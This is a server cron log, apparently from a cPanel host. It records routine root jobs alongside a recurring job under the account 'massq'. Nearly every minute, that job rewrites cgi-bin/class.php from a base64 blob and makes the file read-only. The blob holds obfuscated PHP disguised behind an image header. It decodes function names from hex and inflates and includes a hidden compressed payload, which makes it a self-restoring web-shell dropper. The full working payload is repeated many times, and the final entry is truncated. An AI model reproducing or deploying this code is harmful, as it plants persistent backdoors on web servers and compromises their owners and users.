Sep 11 10:20:01 server CROND[28841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:20:01 server CROND[28845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:20:01 server CROND[28847]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 10:20:01 server CROND[28849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:20:01 server CROND[28846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:20:01 server CROND[28850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:20:01 server CROND[28848]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:20:01 server CROND[28851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:21:01 server CROND[29691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:21:01 server CROND[29692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:21:01 server CROND[29693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:22:02 server CROND[30077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:22:02 server CROND[30078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:22:02 server CROND[30079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:23:01 server CROND[30551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:23:01 server CROND[30552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:23:01 server CROND[30553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:24:01 server CROND[30940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:24:01 server CROND[30941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:24:01 server CROND[30942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:25:01 server CROND[31341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:25:01 server CROND[31343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 10:25:01 server CROND[31345]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:25:01 server CROND[31346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:25:01 server CROND[31344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:25:01 server CROND[31347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:25:01 server CROND[31350]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:25:01 server CROND[31348]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 10:26:01 server CROND[32194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:26:01 server CROND[32196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:26:01 server CROND[32195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:27:01 server CROND[32587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:27:01 server CROND[32586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:27:01 server CROND[32588]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 10:27:01 server CROND[32589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:28:01 server CROND[519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:28:01 server CROND[520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:28:01 server CROND[522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:29:01 server CROND[1099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:29:01 server CROND[1101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:29:01 server CROND[1100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:30:01 server CROND[1545]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 10:30:01 server CROND[1548]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:30:01 server CROND[1553]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:30:01 server CROND[1556]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:30:01 server CROND[1555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:30:01 server CROND[1559]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:30:01 server CROND[1561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:30:01 server CROND[1558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:31:01 server CROND[2481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:31:01 server CROND[2482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 